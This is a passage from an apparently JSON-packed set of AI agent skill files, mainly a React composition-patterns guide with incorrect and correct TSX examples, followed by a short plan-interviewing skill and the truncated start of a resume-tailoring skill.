compose naturally, and don't require understanding callback\n\nsignatures.\n\n**Incorrect: render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct: compound components with children**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\n\nUse children when composing static structure.\n\n---\n\n## 4. React 19 APIs\n\n**Impact: MEDIUM**\n\nReact 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n\n### 4.1 React 19 API Changes\n\n**Impact: MEDIUM (cleaner component definitions and context usage)**\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect: forwardRef in React 19**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct: ref as a regular prop**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect: useContext in React 19**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct: use instead of useContext**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n\n---\n\n## References\n\n1. [https://react.dev](https://react.dev)\n2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context)\n3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)\n","skills/composition-patterns/README.md":"# React Composition Patterns\n\nA structured repository for React composition patterns that scale. These\npatterns help avoid boolean prop proliferation by using compound components,\nlifting state, and composing internals.\n\n## Structure\n\n- `rules/` - Individual rule files (one per rule)\n  - `_sections.md` - Section metadata (titles, impacts, descriptions)\n  - `_template.md` - Template for creating new rules\n  - `area-description.md` - Individual rule files\n- `metadata.json` - Document metadata (version, organization, abstract)\n- **`AGENTS.md`** - Compiled output (generated)\n\n## Rules\n\n### Component Architecture (CRITICAL)\n\n- `architecture-avoid-boolean-props.md` - Don't add boolean props to customize\n  behavior\n- `architecture-compound-components.md` - Structure as compound components with\n  shared context\n\n### State Management (HIGH)\n\n- `state-lift-state.md` - Lift state into provider components\n- `state-context-interface.md` - Define clear context interfaces\n  (state/actions/meta)\n- `state-decouple-implementation.md` - Decouple state management from UI\n\n### Implementation Patterns (MEDIUM)\n\n- `patterns-children-over-render-props.md` - Prefer children over renderX props\n- `patterns-explicit-variants.md` - Create explicit component variants\n\n## Core Principles\n\n1. **Composition over configuration** — Instead of adding props, let consumers\n   compose\n2. **Lift your state** — State in providers, not trapped in components\n3. **Compose your internals** — Subcomponents access context, not props\n4. **Explicit variants** — Create ThreadComposer, EditComposer, not Composer\n   with isThread\n\n## Creating a New Rule\n\n1. Copy `rules/_template.md` to `rules/area-description.md`\n2. Choose the appropriate area prefix:\n   - `architecture-` for Component Architecture\n   - `state-` for State Management\n   - `patterns-` for Implementation Patterns\n3. Fill in the frontmatter and content\n4. Ensure you have clear examples with explanations\n\n## Impact Levels\n\n- `CRITICAL` - Foundational patterns, prevents unmaintainable code\n- `HIGH` - Significant maintainability improvements\n- `MEDIUM` - Good practices for cleaner code\n","skills/composition-patterns/SKILL.md":"---\nname: vercel-composition-patterns\ndescription: React composition patterns that scale. Use when refactoring components with\n  boolean prop proliferation, building flexible component libraries, or\n  designing reusable APIs. Triggers on tasks involving compound components,\n  render props, context providers, or component architecture. Includes React 19\n  API changes.\nlicense: MIT\nmetadata:\n  author: vercel\n  version: \"1.0.0\"\n---\n\n# React Composition Patterns\n\nComposition patterns for building flexible, maintainable React components. Avoid\nboolean prop proliferation by using compound components, lifting state, and\ncomposing internals. These patterns make codebases easier for both humans and AI\nagents to work with as they scale.\n\n## When to Apply\n\nReference these guidelines when:\n\n- Refactoring components with many boolean props\n- Building reusable component libraries\n- Designing flexible component APIs\n- Reviewing component architecture\n- Working with compound components or context providers\n\n## Rule Categories by Priority\n\n| Priority | Category                | Impact | Prefix          |\n| -------- | ----------------------- | ------ | --------------- |\n| 1        | Component Architecture  | HIGH   | `architecture-` |\n| 2        | State Management        | MEDIUM | `state-`        |\n| 3        | Implementation Patterns | MEDIUM | `patterns-`     |\n| 4        | React 19 APIs           | MEDIUM | `react19-`      |\n\n## Quick Reference\n\n### 1. Component Architecture (HIGH)\n\n- `architecture-avoid-boolean-props` - Don't add boolean props to customize\n  behavior; use composition\n- `architecture-compound-components` - Structure complex components with shared\n  context\n\n### 2. State Management (MEDIUM)\n\n- `state-decouple-implementation` - Provider is the only place that knows how\n  state is managed\n- `state-context-interface` - Define generic interface with state, actions, meta\n  for dependency injection\n- `state-lift-state` - Move state into provider components for sibling access\n\n### 3. Implementation Patterns (MEDIUM)\n\n- `patterns-explicit-variants` - Create explicit variant components instead of\n  boolean modes\n- `patterns-children-over-render-props` - Use children for composition instead\n  of renderX props\n\n### 4. React 19 APIs (MEDIUM)\n\n> **⚠️ React 19+ only.** Skip this section if using React 18 or earlier.\n\n- `react19-no-forwardref` - Don't use `forwardRef`; use `use()` instead of `useContext()`\n\n## How to Use\n\nRead individual rule files for detailed explanations and code examples:\n\n```\nrules/architecture-avoid-boolean-props.md\nrules/state-context-interface.md\n```\n\nEach rule file contains:\n\n- Brief explanation of why it matters\n- Incorrect code example with explanation\n- Correct code example with explanation\n- Additional context and references\n\n## Full Compiled Document\n\nFor the complete guide with all rules expanded: `AGENTS.md`\n","skills/composition-patterns/metadata.json":"{\n  \"version\": \"1.0.0\",\n  \"organization\": \"Engineering\",\n  \"date\": \"January 2026\",\n  \"abstract\": \"Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\",\n  \"references\": [\n    \"https://react.dev\",\n    \"https://react.dev/learn/passing-data-deeply-with-context\",\n    \"https://react.dev/reference/react/use\"\n  ]\n}\n","skills/composition-patterns/rules/_sections.md":"# Sections\n\nThis file defines all sections, their ordering, impact levels, and descriptions.\nThe section ID (in parentheses) is the filename prefix used to group rules.\n\n---\n\n## 1. Component Architecture (architecture)\n\n**Impact:** HIGH\n**Description:** Fundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n## 2. State Management (state)\n\n**Impact:** MEDIUM\n**Description:** Patterns for lifting state and managing shared context across\ncomposed components.\n\n## 3. Implementation Patterns (patterns)\n\n**Impact:** MEDIUM\n**Description:** Specific techniques for implementing compound components and\ncontext providers.\n\n## 4. React 19 APIs (react19)\n\n**Impact:** MEDIUM\n**Description:** React 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n","skills/composition-patterns/rules/_template.md":"---\ntitle: Rule Title Here\nimpact: MEDIUM\nimpactDescription: brief description of impact\ntags: composition, components\n---\n\n## Rule Title Here\n\nBrief explanation of the rule and why it matters.\n\n**Incorrect:**\n\n```tsx\n// Bad code example\n```\n\n**Correct:**\n\n```tsx\n// Good code example\n```\n\nReference: [Link](https://example.com)\n","skills/composition-patterns/rules/architecture-avoid-boolean-props.md":"---\ntitle: Avoid Boolean Prop Proliferation\nimpact: CRITICAL\nimpactDescription: prevents unmaintainable component variants\ntags: composition, props, architecture\n---\n\n## Avoid Boolean Prop Proliferation\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\ncomponent behavior. Each boolean doubles possible states and creates\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect (boolean props create exponential complexity):**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct (composition eliminates conditionals):**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\nsharing a single monolithic parent.\n","skills/composition-patterns/rules/architecture-compound-components.md":"---\ntitle: Use Compound Components\nimpact: HIGH\nimpactDescription: enables flexible composition without prop drilling\ntags: composition, compound-components, architecture\n---\n\n## Use Compound Components\n\nStructure complex components as compound components with a shared context. Each\nsubcomponent accesses shared state via context, not props. Consumers compose the\npieces they need.\n\n**Incorrect (monolithic component with render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct (compound components with shared context):**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n","skills/composition-patterns/rules/patterns-children-over-render-props.md":"---\ntitle: Prefer Composing Children Over Render Props\nimpact: MEDIUM\nimpactDescription: cleaner composition, better readability\ntags: composition, children, render-props\n---\n\n## Prefer Children Over Render Props\n\nUse `children` for composition instead of `renderX` props. Children are more\nreadable, compose naturally, and don't require understanding callback\nsignatures.\n\n**Incorrect (render props):**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct (compound components with children):**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\nUse children when composing static structure.\n","skills/composition-patterns/rules/patterns-explicit-variants.md":"---\ntitle: Create Explicit Component Variants\nimpact: MEDIUM\nimpactDescription: self-documenting code, no hidden conditionals\ntags: composition, variants, architecture\n---\n\n## Create Explicit Component Variants\n\nInstead of one component with many boolean props, create explicit variant\ncomponents. Each variant composes the pieces it needs. The code documents\nitself.\n\n**Incorrect (one component, many modes):**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct (explicit variants):**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n- What UI elements it includes\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n","skills/composition-patterns/rules/react19-no-forwardref.md":"---\ntitle: React 19 API Changes\nimpact: MEDIUM\nimpactDescription: cleaner component definitions and context usage\ntags: react19, refs, context, hooks\n---\n\n## React 19 API Changes\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect (forwardRef in React 19):**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct (ref as a regular prop):**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect (useContext in React 19):**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct (use instead of useContext):**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n","skills/composition-patterns/rules/state-context-interface.md":"---\ntitle: Define Generic Context Interfaces for Dependency Injection\nimpact: HIGH\nimpactDescription: enables dependency-injectable state across use-cases\ntags: composition, context, state, typescript, dependency-injection\n---\n\n## Define Generic Context Interfaces for Dependency Injection\n\nDefine a **generic interface** for your component context with three parts:\n`state`, `actions`, and `meta`. This interface is a contract that any provider\ncan implement—enabling the same UI components to work with completely different\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\ndependency-injectable.\n\n**Incorrect (UI coupled to specific state implementation):**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct (generic interface enables dependency injection):**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\nThe provider boundary is what matters—not the visual nesting. Components that\nneed shared state don't have to be inside the `Composer.Frame`. They just need\nto be within the provider.\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\nbox, but they can still access its state and actions. This is the power of\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\nby the provider. Swap the provider, keep the UI.\n","skills/composition-patterns/rules/state-decouple-implementation.md":"---\ntitle: Decouple State Management from UI\nimpact: MEDIUM\nimpactDescription: enables swapping state implementations without changing UI\ntags: composition, state, architecture\n---\n\n## Decouple State Management from UI\n\nThe provider component should be the only place that knows how state is managed.\nUI components consume the context interface—they don't know if state comes from\nuseState, Zustand, or a server sync.\n\n**Incorrect (UI coupled to state implementation):**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct (state management isolated in provider):**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\ndepends on the context interface, not the implementation.\n","skills/composition-patterns/rules/state-lift-state.md":"---\ntitle: Lift State into Provider Components\nimpact: HIGH\nimpactDescription: enables state sharing outside component boundaries\ntags: composition, state, context, providers\n---\n\n## Lift State into Provider Components\n\nMove state management into dedicated provider components. This allows sibling\ncomponents outside the main UI to access and modify state without prop drilling\nor awkward refs.\n\n**Incorrect (state trapped inside component):**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect (useEffect to sync state up):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect (reading state from ref on submit):**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct (state lifted to provider):**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\nsubmit action because it's within the provider. Even though it's a one-off\ncomponent, it can still access the composer's state and actions from outside the\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\nnested inside each other—they just need to be within the same provider.\n","skills/cross-examine/SKILL.md":"---\nname: cross-examine\ndescription: Interview the user relentlessly about a plan or design until reaching shared understanding, resolving each branch of the decision tree. Use when user wants to stress-test a plan, get grilled on their design, or mentions \"grill me\".\n---\n\nInterview me relentlessly about every aspect of this plan until we reach a shared understanding. Walk down each branch of the design tree, resolving dependencies between decisions one-by-one. For each question, provide your recommended answer.\n\nAsk the questions one at a time.\n\nIf a question can be answered by exploring the codebase, explore the codebase instead.\n","skills/cv-tailor/SKILL.md":"---\nname: cv-tailor\ndescription: \"Optimize resumes by matching keywords to the job description, rewriting experience with the quantified STAR method, and checking ATS compatibility. Triggered when users ask for resume help, review, or polishing, mention JD matching, STAR method, ATS, or want to tailor their resume for a specific role.\"\nlicense: MIT\n---\n\n# CV Tailor\n\n**Three pillars of resume optimization**: Analyze keyword alignment against the target JD, rewrite experience bullets using the STAR method with quantified results, and run an ATS compatibility check — producing a highly targeted, high-pass-rate optimized resume.\n\n## Quick Start\n\nThe user provides their resume (content or file) and the target JD. The agent then automatically completes the optimization following the workflow below:\n\n```\nUser: Help me optimize my resume — I'm applying for this role [attaches JD + resume]\nAgent: [Follows the SOP workflow and outputs optimization recommendations plus a rewritten resume]\n```\n\n## SOP Workflow\n\n### Phase 1: Input Collection & Initial Analysis\n\n**Goal**: Gather the user's resume and target JD; establish an optimization baseline.\n\n**Steps**:\n\n1. **Collect materials**:\n   - Obtain the user's resume content (pasted text or file path)\n   - Obtain the target JD (pasted text or role description)\n   - If no JD is provided, ask about the target role direction (industry + position + level)\n\n2. **Resume baseline parsing**:\n   - Identify resume sections (education, work experience, projects, skills, etc.)\n   - Count resume length, number of experience entries, and time span\n   - Note the current resume format type (reverse-chronological / functional / hybrid)\n\n3. **JD core element extraction**:\n   - Job title and level\n   - Core responsibilities (Top 5)\n   - Hard requirements (must-haves)\n   - Nice-to-haves\n   - Key skill terms and industry jargon\n\n**Output**: Resume status summary + JD element checklist\n\n---\n\n### Phase 2: JD Keyword Match Analysis\n\n**Goal**: Systematically compare keyword coverage between the resume and JD to identify match gaps.\n\n**Steps**:\n\n1. **Categorized keyword extraction**:\n   Extract three categories of keywords from the JD:\n\n   | Category | Description | Examples |\n   |----------|-------------|----------|\n   | **Hard skill keywords** | Tech stack, tools, methodologies | Python, SQL, A/B testing, Scrum |\n   | **Soft skill keywords** | Competency requirements | Cross-team collaboration, data-driven, project management |\n   | **Industry/domain keywords** | Domain-specific terminology | DAU, conversion rate, user growth, SaaS |\n\n2. **Match analysis**:\n   Search each keyword in the resume and generate a match matrix:\n\n   ```\n   | Keyword | JD Priority | In Resume? | Location | Recommendation |\n   |---------|-------------|------------|----------|----------------|\n   | Python  | Required    | ✅ Yes     | Skills + Project 1 | Keep; add specific use-case context |\n   | SQL     | Required    | ❌ No      | -        | Add; weave into project experience |\n   ```\n\n3. **Coverage scoring**:\n   - Required keyword coverage = matched 